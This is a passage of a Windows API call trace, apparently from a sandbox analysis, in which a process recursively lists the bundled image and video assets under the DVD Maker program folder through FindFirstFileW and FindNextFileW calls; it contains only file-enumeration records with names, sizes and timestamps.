lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0273.639] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0273.639] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0273.642] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.644] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.644] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0273.645] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0273.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.652] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.652] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0273.654] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0273.656] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0273.657] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0273.657] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0273.658] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0273.662] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0273.663] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0273.663] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0273.665] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0273.665] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.665] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0273.669] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0273.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.670] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.670] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0273.672] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0273.672] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0273.674] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0273.675] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0273.688] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.688] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0273.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.690] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.691] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0273.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, 